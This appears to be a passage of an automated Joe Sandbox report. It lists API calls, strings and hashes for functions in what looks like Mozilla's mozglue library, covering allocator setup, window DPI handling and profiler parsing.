LoadLibraryW.KERNEL32(gdi32,?,6C7FE1A5), ref: 6C82560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C825633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C82563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C82566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C82567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C825696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C8256B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C8256CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C8256E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C8256FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C825716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C82572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C825748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C825761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C82577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C825793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C8257A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C8257BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C8257D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C8257EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C8257FF

Strings

SetWindowPos, xrefs: 6C8256F7
GetWindowDC, xrefs: 6C825710
GetSystemMetricsForDpi, xrefs: 6C825677
gdi32, xrefs: 6C82560A
ShowWindow, xrefs: 6C8256DE
GetThreadDpiAwarenessContext, xrefs: 6C82562D
LoadCursorW, xrefs: 6C825774
AreDpiAwarenessContextsEqual, xrefs: 6C825637
SetWindowLongPtrW, xrefs: 6C8257B7
FillRect, xrefs: 6C825729
EnableNonClientDpiScaling, xrefs: 6C825666
GetDpiForWindow, xrefs: 6C825690
CreateWindowExW, xrefs: 6C8256C5
StretchDIBits, xrefs: 6C8257CC
CreateSolidBrush, xrefs: 6C8257E4
LoadIconW, xrefs: 6C82575B
DeleteObject, xrefs: 6C8257F9
RegisterClassW, xrefs: 6C8256AC
GetMonitorInfoW, xrefs: 6C8257A2
ReleaseDC, xrefs: 6C825742
MonitorFromWindow, xrefs: 6C82578D
user32, xrefs: 6C825601

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: acdd9bd7dbc605203b4f2f13ad973c49c8117ba0ffc809cfda139ec7cf0ff0dd
Instruction ID: e14496ff6c52287d04c813bca0da18d90ef53c241ef98f52f8715b86a34afa3e
Opcode Fuzzy Hash: acdd9bd7dbc605203b4f2f13ad973c49c8117ba0ffc809cfda139ec7cf0ff0dd
Instruction Fuzzy Hash: F65154706517165BDB30AF398E48D3B3AB8AB5624D751DC39E911E2B05EB78D840CFE0

Function 6C8234A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C823527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C82355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8235BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8235E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C82363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C823693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8236CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C823703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C82373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C823775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C82378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C823892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8238BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C823902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C823939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C823970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8239EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C823A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C823AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C823E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C823EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C823EE2

Part of subcall function 6C826180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C8261DD
Part of subcall function 6C826180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C82622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8240F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C82412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C824157

Part of subcall function 6C826180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C826250
Part of subcall function 6C826180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C826292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C82441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C824448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C82484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C824863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C824878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C824896
free.MOZGLUE ref: 6C82489F

Strings

, xrefs: 6C824CD2

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: d0c762addfaa1d80978ecfefa991932f0547b3a7b4039832b8c68ed59c5a2243
Instruction ID: 82bc66bccae41585700f3ea5d0f8715289501a1de1a54446f55ca7b8f828971d
Opcode Fuzzy Hash: d0c762addfaa1d80978ecfefa991932f0547b3a7b4039832b8c68ed59c5a2243
Instruction Fuzzy Hash: F9F22A749087808FC735CF28C18469AFBF1BFC9358F118A6ED99997711DB719886CB82

Function 6C7D64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C7D64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C7D64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C7D6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C7D6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C7D652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C7D671C
GetCurrentProcess.KERNEL32 ref: 6C7D6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C7D672F
GetCurrentProcess.KERNEL32 ref: 6C7D6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C7D6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C7D6A80
GetSystemInfo.KERNEL32(?), ref: 6C7D6ABE
__Init_thread_footer.LIBCMT ref: 6C7D6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7D6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7D6AF7

Strings

nvdxgiwrap.dll, xrefs: 6C7D6513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C7D6798
nvd3d9wrap.dll, xrefs: 6C7D6500
_etoured.dll, xrefs: 6C7D64ED
user32.dll, xrefs: 6C7D6526
detoured.dll, xrefs: 6C7D64DA

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: eac1de9b91fbb922cf8480003fe5b9d317bdd0e99f221c2d368e4c278675b445
Instruction ID: 268de3fe5ad6a481403f890b033266d07923c7e09336b0783de56066ffbbcf4f
Opcode Fuzzy Hash: eac1de9b91fbb922cf8480003fe5b9d317bdd0e99f221c2d368e4c278675b445
Instruction Fuzzy Hash: 75F1E2709052298FDB20DF64CE88B9ABBB5AF4531CF1586E9D809A7641D731BF84CF90

Function 6C7ED850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C7ED904
LeaveCriticalSection.KERNEL32(?), ref: 6C7ED971
memset.VCRUNTIME140(?,00000000,?), ref: 6C7ED97B
LeaveCriticalSection.KERNEL32(?), ref: 6C7EE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7EE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7EE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7EE315
AcquireSRWLockExclusive.KERNEL32(6C84E804), ref: 6C7EE37C
GetSystemInfo.KERNEL32(?), ref: 6C7EE3C7
__Init_thread_footer.LIBCMT ref: 6C7EE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C84E810,00000040), ref: 6C7EE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C84E7B8,00001388), ref: 6C7EE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C84E744,00001388), ref: 6C7EE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C84E784,00001388), ref: 6C7EE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C84E7DC,00001388), ref: 6C7EE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C84E768,00001388), ref: 6C7EE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C7EE52E
ReleaseSRWLockExclusive.KERNEL32(6C84E804), ref: 6C7EE54F

Part of subcall function 6C7DD960: EnterCriticalSection.KERNEL32(?), ref: 6C7DD999
Part of subcall function 6C7DD960: EnterCriticalSection.KERNEL32(6C84E7B8), ref: 6C7DDA13

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C7EE6DD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7EE560, 6C7EE58A, 6C7EE5A5
MALLOC_OPTIONS, xrefs: 6C7EE3FF
Compile-time page size does not divide the runtime one., xrefs: 6C7EE621
<jemalloc>, xrefs: 6C7EE61C, 6C7EE6CC
MOZ_CRASH(), xrefs: 6C7EE62B

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: 8e3371d32f94d055b9f16457cf306bd6fa8e9bec9a659145f8f3dbf69c4d982d
Instruction ID: c7dac7a32ba238f1cefb18110736702284f9c2800c7caf4985551d1aeaf54ab2
Opcode Fuzzy Hash: 8e3371d32f94d055b9f16457cf306bd6fa8e9bec9a659145f8f3dbf69c4d982d
Instruction Fuzzy Hash: 14928D72A056118FD714CF28CA40715FBE1BF9A328F29CA6DE8698B791D771E841CBC1

Function 6C82C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C82C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C82C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C82C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C82C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C82C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C82CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C82CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C82DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C82DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C82DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C82DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C82DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C82E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C82E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C82E472

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: af109e3ea255689a2b6b43e73db40cd8e2e84109d13308a547a11310846cf8ad
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: B533BF71E0021A8FCB24CFA8C9C46ADBBF2FF49310F18466AD855AB755D734A985CBD0

Function 6C7EED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C7EEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C7EEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C7F1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7F16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C7F1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C7F1A3E

Strings

~q|l, xrefs: 6C7EED13
~q|l, xrefs: 6C7EED10

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q|l$~q|l
API String ID: 3693777188-3346050844
Opcode ID: e0e10d52d5b3413f8fadcb63f648dd53ce99ba3a36d2f077042dbcac3960b74a
Instruction ID: ccaa064af428378efd4d5515a22f91314d85353e25a771ffc9c85bad30c9bfe9
Opcode Fuzzy Hash: e0e10d52d5b3413f8fadcb63f648dd53ce99ba3a36d2f077042dbcac3960b74a
Instruction Fuzzy Hash: 6AB31971E04219CFDB14CFA8C9D0A9DB7B2BF89304F2582A9D459AB745D730AD86CF90

Function 6C7DFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C84E7B8), ref: 6C7DFF81
LeaveCriticalSection.KERNEL32(6C84E7B8), ref: 6C7E022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C7E0240
EnterCriticalSection.KERNEL32(6C84E768), ref: 6C7E025B
LeaveCriticalSection.KERNEL32(6C84E768), ref: 6C7E027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7DFE99, 6C7DFEB7, 6C7DFED3, 6C7E0DB8, 6C7E0DD3, 6C7E19B4
: (malloc) Error in VirtualFree(), xrefs: 6C7E0D67, 6C7E0D7B, 6C7E0DAC
<jemalloc>, xrefs: 6C7E0D62, 6C7E0D76, 6C7E0DA7

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 035777c53e59a57d9f85c895ab74c8c54eeadd2d62c777523de4c7d7032ddbb7
Instruction ID: f5ab594f1e06e5529367196edea1980b8467fc646e6b05e21b1e2800c407f893
Opcode Fuzzy Hash: 035777c53e59a57d9f85c895ab74c8c54eeadd2d62c777523de4c7d7032ddbb7
Instruction Fuzzy Hash: 89C29272A057418FD714CF28CA81716BBE1BF89328F28C67DE4A98B795D771E841CB81

Function 6C82E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C82E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C82EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C82EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C82EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C82F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C82F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C830E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C830E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C830EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C830ED4

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 38987c36bfa69a1b1cdb34af8d768f3d7ac9b6ad99cd4375971f0bc3dc8b5609
Instruction ID: ab1aafccc49d97b25d61c4d46ec893abab5c0f6dd3daefd7e5f845230734d519
Opcode Fuzzy Hash: 38987c36bfa69a1b1cdb34af8d768f3d7ac9b6ad99cd4375971f0bc3dc8b5609
Instruction Fuzzy Hash: 6663AF71E0025ACFCB14CFA8C9906DDFBB2FF89300F298669D859AB745D734A945CB90

Function 6C803E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C827770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C803E7D,?,?,?,6C803E7D,?,?), ref: 6C82777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C803F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C803F5C
VerSetConditionMask.NTDLL ref: 6C803F8D
VerSetConditionMask.NTDLL ref: 6C803F99
VerSetConditionMask.NTDLL ref: 6C803FA0
VerSetConditionMask.NTDLL ref: 6C803FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C803FB4

Strings

nvd3d9wrap.dll, xrefs: 6C804466
nvinit.dll, xrefs: 6C804479

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: f36e76fb5a800e6f5e1d9a29cbc7e422f00d658e6bdff6ad7f86eb52adce0397
Instruction ID: 9401f2773c3dd55272548404bd7847bcaa5ae2ba3f47df03ba784d4e8e23be24
Opcode Fuzzy Hash: f36e76fb5a800e6f5e1d9a29cbc7e422f00d658e6bdff6ad7f86eb52adce0397
Instruction Fuzzy Hash: 4652D071614B488FD720DB64CA88AAB77E9EF85308F54492DE4968B742DB34F909CB60

Function 6C7DFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C84E7B8), ref: 6C7DFF81
LeaveCriticalSection.KERNEL32(6C84E7B8), ref: 6C7E022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C7E0240
EnterCriticalSection.KERNEL32(6C84E768), ref: 6C7E025B
LeaveCriticalSection.KERNEL32(6C84E768), ref: 6C7E027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7DFE99, 6C7DFEB7, 6C7DFED3, 6C7E0DB8, 6C7E0DD3, 6C7E19B4, 6C7E1A10
MOZ_CRASH(), xrefs: 6C7E0CA7

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: a9918421fe50c039e9ffff4ba679460fc0de24816604ba3524e0dd748b81be65
Instruction ID: 377afd37aabd1b0816d8f0f9a938f54038f686a27a734f615bfca241d547114d
Opcode Fuzzy Hash: a9918421fe50c039e9ffff4ba679460fc0de24816604ba3524e0dd748b81be65
Instruction Fuzzy Hash: C8B28E726057418FD714CF29C691716BBE1BF89328F28C67DE86A8B796D770E840CB81

Function 6C815600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C815E79, 6C815E8F
expected a Count entry, xrefs: 6C815AC3
expected a Time entry, xrefs: 6C815CB6
data, xrefs: 6C816131
schema, xrefs: 6C81606D
ProfileBuffer parse error: %s, xrefs: 6C815AC8, 6C815CBB

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 7387064747781b81120367f1d80c4cebef09c74304c9f7e4b7046e4ed56fbde2
Instruction ID: 9aa0dff1e904e691f870f3a96b53096a44d6d39e78162abbc4f279f1843d7d25
Opcode Fuzzy Hash: 7387064747781b81120367f1d80c4cebef09c74304c9f7e4b7046e4ed56fbde2
Instruction Fuzzy Hash: B1924BB1A083428FD724CF18C59479AB7E1BFC9308F558D2DE4999BB51DB30E849CB92

Function 6C812E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C812ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C812EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C812F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C813214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C813242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8136BF

Strings

set , xrefs: 6C8136EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C81378D
get , xrefs: 6C813205

Memory Dump Source

